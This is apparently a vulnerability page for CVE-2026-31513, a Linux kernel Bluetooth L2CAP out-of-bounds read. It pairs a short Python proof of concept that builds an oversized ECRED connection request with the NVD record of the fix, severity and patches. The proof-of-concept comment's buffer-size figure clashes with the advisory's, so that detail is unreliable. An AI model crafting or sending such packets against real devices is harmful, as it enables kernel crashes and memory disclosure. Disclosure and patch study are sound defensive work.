CVE-2026-31513

import socket import struct # Conceptual PoC for CVE-2026-31513 # Demonstrates the structure of a malformed L2CAP packet def create_malformed_ecred_req(): # L2CAP Command Code for Enhanced Credit Based Connection Request L2CAP_ECONN_REQ = 0x17 # Signal Identifier (arbitrary) ident = 1 # Payload Construction # SPSM (2 bytes) spsm = 0x0001 # SCIDs: The vulnerability expects > 5 SCIDs (10 bytes) to overflow the # expected buffer size (5 SCIDs = 10 bytes, plus header = 12 bytes total). # We send 6 SCIDs here (12 bytes). scids = struct.pack("<HHHHHH", 0x0040, 0x0041, 0x0042, 0x0043, 0x0044, 0x0045) # MTU, MPS, Credits (optional/standard) mtu = 0x0200 mps = 0x0200 credits = 0x01 # Combine payload payload = struct.pack("<H", spsm) + scids + struct.pack("<HHH", mtu, mps, credits) # Calculate total length length = len(payload) # Construct L2CAP Signaling Command header # Code (1), Identifier (1), Length (2) header = struct.pack("<BBH", L2CAP_ECONN_REQ, ident, length) return header + payload # Note: Sending this packet requires a raw Bluetooth socket and specific hardware privileges. packet = create_malformed_ecred_req() print(f"Generated malformed packet length: {len(packet)} bytes")

{"cve": {"id": "CVE-2026-31513", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-22T14:16:50.673", "lastModified": "2026-04-28T16:15:22.477", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: L2CAP: Fix stack-out-of-bounds read in l2cap_ecred_conn_req\n\nSyzbot reported a KASAN stack-out-of-bounds read in l2cap_build_cmd()\nthat is triggered by a malformed Enhanced Credit Based Connection Request.\n\nThe vulnerability stems from l2cap_ecred_conn_req(). The function allocates\na local stack buffer (`pdu`) designed to hold a maximum of 5 Source Channel\nIDs (SCIDs), totaling 18 bytes. When an attacker sends a request with more\nthan 5 SCIDs, the function calculates `rsp_len` based on this unvalidated\n`cmd_len` before checking if the number of SCIDs exceeds\nL2CAP_ECRED_MAX_CID.\n\nIf the SCID count is too high, the function correctly jumps to the\n`response` label to reject the packet, but `rsp_len` retains the\nattacker's oversized value. Consequently, l2cap_send_cmd() is instructed\nto read past the end of the 18-byte `pdu` buffer, triggering a\nKASAN panic.\n\nFix this by moving the assignment of `rsp_len` to after the `num_scid`\nboundary check. If the packet is rejected, `rsp_len` will safely\nremain 0, and the error response will only read the 8-byte base header\nfrom the stack."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.12.75", "versionEndExcluding": "6.12.80", "matchCriteriaId": "E823EB64-1F92-40BB-891C-D94D00EDA086"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.18.16", "versionEndExcluding": "6.18.21", "matchCriteriaId": "6C57E63A-04BA-47E0-A942-789F7236A636"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19.6", "versionEndExcluding": "6.19.11", "matchCriteriaId": "1BFE33C3-C605-4CC2-9F15-3494BA78E2C9"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/5b35f8211a913cfe7ab9d54fa36a272d2059a588", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/9d87cb22195b2c67405f5485d525190747ad5493", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/a3d9c50d69785ae02e153f000da1b5fd6dbfdf1b", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/c8e1a27edb8b4e5afb56b384acd7b6c2dec1b7cc", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}